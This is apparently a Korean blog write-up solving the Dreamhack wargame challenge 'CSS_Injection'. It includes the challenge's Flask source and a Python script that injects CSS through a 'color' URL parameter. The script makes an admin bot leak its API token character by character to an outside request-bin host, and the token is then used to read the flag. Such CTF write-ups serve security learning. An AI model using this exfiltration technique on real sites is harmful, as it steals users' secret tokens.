[WARGAME] 드림핵 워게임 - CSS_Injection

jckim22·2022년 11월 5일
1

[WEBHACKING] STUDY (WARGAME)

목록 보기
51/114

이번 문제에서는 정말 많은 시간을 투자했다.

대충 의도를 파악하는데는 조금의 시간이 걸렸지만 그 이후 여러가지 삽질을 했다.

가장 큰 이유는 코드 분석을 대충했다는 것이다.

아래를 보자.

#!/usr/bin/python3
import hashlib, os, binascii, random, string
from flask import Flask, request, render_template, redirect, url_for, session, g, flash
from functools import wraps
import sqlite3
from selenium import webdriver
from promise import Promise

app = Flask(__name__)
app.secret_key = os.urandom(32)

DATABASE = os.environ.get('DATABASE', 'database.db')

try:
    FLAG = open('./flag.txt', 'r').read().strip()
except:
    FLAG = '[**FLAG**]'

ADMIN_USERNAME = 'administrator'
ADMIN_PASSWORD = binascii.hexlify(os.urandom(32))

def execute(query, data=()):
    con = sqlite3.connect(DATABASE)
    cur = con.cursor()
    cur.execute(query, data)
    con.commit()
    data = cur.fetchall()
    con.close()
    return data


def token_generate():
    while True:
        token = ''.join(random.choice(string.ascii_lowercase) for _ in range(16))
        token_exists = execute('SELECT * FROM users WHERE token = :token;', {'token': token})
        if not token_exists:
            return token


def login_required(view):
    @wraps(view)
    def wrapped_view(**kwargs):
        if session and session['uid']:
            return view(**kwargs)
        flash('login first !')
        return redirect(url_for('login'))
    return wrapped_view


def apikey_required(view):
    @wraps(view)
    def wrapped_view(**kwargs):
        apikey = request.headers.get('API-KEY', None)
        token = execute('SELECT * FROM users WHERE token = :token;', {'token': apikey})
        if token:
            request.uid = token[0][0]
            return view(**kwargs)
        return {'code': 401, 'message': 'Access Denined !'}
    return wrapped_view


@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None:
        db.close()


@app.context_processor
def background_color():
    color = request.args.get('color', 'white')
    return dict(color=color)


@app.route('/')
def index():
    return render_template('index.html')


@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    else:
        username = request.form.get("username")
        password = request.form.get("password")
        user = execute('SELECT * FROM users WHERE username = :username and password = :password;', 
            {
                'username': username,
                'password': hashlib.sha256(password.encode()).hexdigest()
            })

        if user:
            session['uid'] = user[0][0]
            session['username'] = user[0][1]
            return redirect(url_for('index'))

        flash('Wrong username or password !')
        return redirect(url_for('login'))


@app.route('/logout')
@login_required
def logout():
    session.clear()
    flash('Logout !')
    return redirect(url_for('index'))


@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'GET':
        return render_template('register.html')
    else:
        username = request.form.get("username")
        password = request.form.get("password")

        user = execute('SELECT * FROM users WHERE username = :username;', {'username': username})
        if user:
            flash('Username already exists !')
            return redirect(url_for('register'))

        token = token_generate()
        sql = "INSERT INTO users(username, password, token) VALUES (:username, :password, :token);"
        execute(sql, {'username': username, 'password': hashlib.sha256(password.encode()).hexdigest(), 'token': token})
        flash('Register Success.')
        return redirect(url_for('login'))


@app.route('/mypage')
@login_required
def mypage():
    user = execute('SELECT * FROM users WHERE uid = :uid;', {'uid': session['uid']})
    return render_template('mypage.html', user=user[0])


@app.route('/memo', methods=['GET', 'POST'])
@login_required
def memopage():
    if request.method == 'GET':
        memos = execute('SELECT * FROM memo WHERE uid = :uid;', {'uid': session['uid']}) 
        return render_template('memo.html', memos=memos)
    else:
        memo = request.form.get("memo")
        sql = "INSERT INTO memo(uid, text) VALUES(:uid, :text);"
        execute(sql, {'uid': session['uid'], 'text': memo})
    return redirect(url_for('memopage'))


# report
@app.route('/report', methods=['GET', 'POST'])
def report():
    if request.method == 'POST':
        path = request.form.get('path')
        if not path:
            flash('fail.')
            return redirect(url_for('report'))

        if path and path[0] == '/':
            path = path[1:]

        url = f'http://localhost:80/{path}'
        if check_url(url):
            flash('success.')
        else:
            flash('fail.')
        return redirect(url_for('report'))

    elif request.method == 'GET':
        return render_template('report.html')


def check_url(url):
    try:
        options = webdriver.ChromeOptions()
        for _ in ['headless', 'window-size=1920x1080', 'disable-gpu', 'no-sandbox', 'disable-dev-shm-usage']:
            options.add_argument(_)
        driver = webdriver.Chrome('./chromedriver', options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        
        driver_promise = Promise(driver.get('http://localhost:80/login'))
        driver_promise.then(driver.find_element_by_name("username").send_keys(str(ADMIN_USERNAME)))
        driver_promise.then(driver.find_element_by_name("password").send_keys(ADMIN_PASSWORD.decode()))

        driver_promise = Promise(driver.find_element_by_id("submit").click())
        driver_promise.then(driver.get(url))
    except Exception as e:
        driver.quit()
        return False
    finally:
        driver.quit()
    return True


# API
@app.route('/api/me')
@apikey_required
def APIme():
    user = execute('SELECT * FROM users WHERE uid = :uid;', {'uid': request.uid})
    if user:
        return {'code': 200, 'uid': user[0][0], 'username': user[0][1]}
    return {'code': 500, 'message': 'Error !'}

@app.route('/api/memo')
@apikey_required
def APImemo():
    memos = execute('SELECT * FROM memo WHERE uid = :uid;', {'uid': request.uid})
    if memos:
        memo = []
        for tmp in memos:
            memo.append({'idx': tmp[0], 'memo': tmp[2]})
        return {'code': 200, 'memo': memo}

    return {'code': 500, 'message': 'Error !'}


# For Challenge
@app.before_first_request
def init():
    execute('DROP TABLE IF EXISTS users;')
    execute('''
        CREATE TABLE users (
            uid INTEGER PRIMARY KEY,
            username TEXT NOT NULL UNIQUE,
            password TEXT NOT NULL,
            token TEXT NOT NULL UNIQUE
        );
    ''')

    execute('DROP TABLE IF EXISTS memo;')
    execute('''
        CREATE TABLE memo (
            idx INTEGER PRIMARY KEY,
            uid INTEGER NOT NULL,
            text TEXT NOT NULL
        );
    ''')

    # Add admin
    execute(
        'INSERT INTO users (username, password, token)'
        'VALUES (:username, :password, :token);',
        {
            'username': ADMIN_USERNAME,
            'password': hashlib.sha256(ADMIN_PASSWORD).hexdigest(),
            'token': token_generate()
        }
    )

    adminUid = execute('SELECT * FROM users WHERE username = :username;', {'username': ADMIN_USERNAME})

    # Add FLAG
    execute(
        'INSERT INTO memo (uid, text)'
        'VALUES (:uid, :text);',
        {
            'uid': adminUid[0][0],
            'text': 'FLAG is ' + FLAG
        }
    )


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

모든 페이지를 눈여겨 봤어야했고 mypage에서 APItoken이 input이 가능했다는걸 놓치지 말았어야 했다.

내가 수행한 과정을 보자

회원가입 후
아래처럼 메모페이지에서 스타일 태그를 입력해보았다.


하지만 render_templates함수로 인해 아래와 같이 꺽쇠는 무용지물이었다.

그러던 중 이상한 함수를 발견했다.
color를 get하는 함수였다.

그래서 아래처럼 param에 color를 직접 작성하고 red로 변경해주었더니
배경이 빨간색으로 변했다는 것을 보고 url로 injection한다는 것을 알았다.

그리고 먼저 아래처럼 request.bin에 value값은 빼고 응답이 오는지 테스트 해봤다.
css injection 이기 때문에 white}이렇게 닫아주고 그 뒤 input~~ 형식으로 작성했다.
그리고 content: url()로 요청을 보내보았다.

아래처럼 요청은 정상적으로 왔다.

input하는 곳은 login페이지 밖에 없다는 것을 알고 패스워드 길이를 브루트포스 할 수 있는 정도인가를 알아보기 위하여 그 길이를 알아보았다.
하지만 아래처럼 32자를 또 변환했기에 너무나도 긴 문자열이 나왔다.
심지어 숫자와 알파벳이 섞여있었다 ..

그럼에도 풀 수 있는 방법은 이것밖에 없는줄 알고 열심히 삽질을 해보았지만 패스워드는 알 수 없었다.

그 뒤 코드를 계속 분석한 결과 일단 report에서는 admin 사용자가 로그인 후 그 path로 이동하는 코드였다.
근데 /login으로 이동해서 다시 value를 구하자니 당연히 html코드에는 value 속성이 없었을 수 밖에 없었고 내가 삽질을 한 이유였다.

또한 memo코드를 더 살펴보았는데 session id가 아닌 api_token으로 memo를 구별하는 것을 보았다.
그리고 admin은 memo에 flag를 적어 놓는다.
결국 api_token알아서 헤더에 admin의 api_token을 보내주는 방식으로 했어야 했던 것이다.

그렇게 더 분석하다보니 mypage에서 APItoken이 input이 가능하다는 것을 알았다.
그리고 로그인 후 value값을 봤는데 아래와 같았다.


위와 같이 로그인 후에는 input에 api value가 떡하니 있었다.
이러한 이유로 레벨 2라는 것을 알아버렸다.
근데 이미 많은 시간을 허비한 뒤였다.
하지만 코드 분석의 중요성을 너무나도 잘 깨닫게 되어서 낭비했다고 생각되지는 않는다.
본론으로 돌아와서 이제 마지막으로 익스플로잇 계획을 짰다.

파이썬 리퀘스트 요청으로 report에다가 mypage에서 input을 건드리는 css injection을 수행할 것이고 report에서 admin계정으로 로그인 되어있는 셀레니움에서는 value가 맞다면 나에게 요청을 성공적으로 보낼 것이다.

그래서 아래 파이썬 request 코드를 짜보았다.

import requests, string

URL = "http://host3.dreamhack.games:12576/report"

for token in string.ascii_lowercase:
    data = {"path":"mypage?color=white;} input[id=InputApitoken][value^="+token+"] {background: url(https://ajelygv.request.dreamhack.games/"+token+");"}
    res = requests.post(URL, data=data)
    print(token)

코드의 내용을 보자면 apitoken은 소문자 알파벳으로 되어있기 때문에 string.ascii_lowercase로 반복했다.
매 반복마다 report의 path에 mypage?color=white;} input[id=InputApitoken][value^="+token+"] {background: url(https://ajelygv.request.dreamhack.games/"+token 을 넣어주었다.
내용은 admin으로 로그인 되어있는 셀레니움에게 mypage에서 input을 타겟으로한 css injection을 하는 내용이다.
apitoken의 id에 value값을 ^=으로 맨 앞글자부터 찾아준다.
그리고 url뒤에는 해당 반복의 알파벳을 넣어줘서 요청을 받은 사이트에서 그 알파벳이 뭔지 알 수 있게 한다.

아래처럼 잘 작동하는 것을 볼 수 있다.


위처럼 첫 글자는 u임을 알았다.
이제 u를 덧붙여서 u~~ 하는 문자열을 찾아야한다.

자동적으로 구별하기 위해서 response에서 차이점을 찾은 뒤 그 조건으로 그 해당 알파벳을 찾으려했다.

아래처럼 header도 비교하고 body도 비교해봤지만 차이점을 찾을 수 없었다.

결국 수동적으로 하는 수밖에 없었다.
16번만 하면 되니까 ..

그래서 코드를 아래와 같이 추가했다.
curr을 추가해 내가 일일이 확인하면서 curr에 값을 추가하고 url에 같이 넣어줬다.

import requests, string

URL = "http://host3.dreamhack.games:12576/report"
curr=""

for tok in string.ascii_lowercase:
    data = {"path":"mypage?color=red;} input[id=InputApitoken][value^="+curr+tok+"] {background: url(https://gatgijy.request.dreamhack.games/"+curr+tok+");"}
    res = requests.post(URL, data=data)
    print(tok)

아래와 같은 방식으로 구해졌다.

마지막으로 최종 토큰을 아래처럼 구하고 요청을 보내게 되면

admin의 memo에 적혀있는 FLAG를 획득할 수 있다.

profile
개발/보안

0개의 댓글